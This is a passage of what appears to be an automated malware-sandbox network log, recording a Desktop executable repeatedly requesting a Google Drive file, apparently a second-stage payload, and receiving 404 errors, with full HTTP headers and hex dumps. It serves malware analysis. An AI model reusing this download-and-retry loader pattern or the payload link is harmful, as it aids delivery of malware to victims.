2024-12-05 16:06:45 UTC	418	OUT	GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:06:45 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:06:45 GMT Location: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-MUWtL1jWKrzIdUSj9Of8tg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.11.20	49792	142.250.64.193	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:06:45 UTC	460	OUT	GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:06:45 UTC	1847	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:06:45 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-9iNSa6nnqSbIJLwkbGCOjA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AFiumC7gqIBTFdEzzed3t-As8R23MnUqxAe8k55HwSVR_dzHwjUKVmPtbLIybjWQUBMpVhLX1ZE Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 16:06:45 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 69 45 4f 36 73 73 6b 35 76 32 72 65 7a 30 4e 49 6f 46 57 61 75 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="iEO6ssk5v2rez0NIoFWaug">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.11.20	49793	142.250.217.238	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:06:56 UTC	418	OUT	GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:06:56 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:06:56 GMT Location: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce-y6pLxwrmJ3hvtyfnJ8zUdw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.11.20	49794	142.250.64.193	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:06:56 UTC	460	OUT	GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:06:57 UTC	1854	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:06:57 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-mpdCxqFwI6wT9LjjYOtFLQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AFiumC68Z4rZQZ20kE5TPpoDQc7C4kBJqHtzGsbVDtl2F2dmCkRhPoWvXsRw1-kOAGGRxybYGyfIn1BZig Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 16:06:57 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 2d 59 50 6f 47 66 39 6c 4c 47 6a 59 4d 48 51 32 50 42 57 36 47 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="-YPoGf9lLGjYMHQ2PBW6GA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.11.20	49795	142.250.217.238	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:07:07 UTC	418	OUT	GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:07:07 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:07:07 GMT Location: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce-gL7LpPyXXEXLwQLtBvh1gA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.11.20	49796	142.250.64.193	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:07:08 UTC	460	OUT	GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:07:08 UTC	1854	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:07:08 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce-Cf9GuY1UAhc79GxP6I_Czw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 X-GUploader-UploadID: AFiumC6h-yGpyTBYgXE3_1WIVD4kuckgTHVGSxZ3ZxtAX7T6LGcOY_w8040ucy3hZ-JMiSjwyO7LweRRww Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 16:07:08 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 32 51 69 4e 58 64 58 4e 41 51 70 43 4a 6e 53 73 31 61 79 66 48 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="2QiNXdXNAQpCJnSs1ayfHg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.11.20	49797	142.250.217.238	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:07:18 UTC	418	OUT	GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:07:19 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:07:18 GMT Location: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce-VoRuib4s7-AH2UB-XRfauw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.11.20	49798	142.250.64.193	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:07:19 UTC	460	OUT	GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:07:19 UTC	1854	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:07:19 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-p4MEjeDn8eq7lz9hQjUC_w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 X-GUploader-UploadID: AFiumC4cutw_e6yuMkUxDL3Dm-QqjtqW3fJV2we6NAJx5JApZmdZUHFwgSXjmPodoOUeluqshdWG6CvSzA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 16:07:19 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 61 2d 2d 45 38 50 44 78 51 56 4f 6f 31 68 5f 53 6f 59 6a 74 44 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="a--E8PDxQVOo1h_SoYjtDg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.11.20	49799	142.250.217.238	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
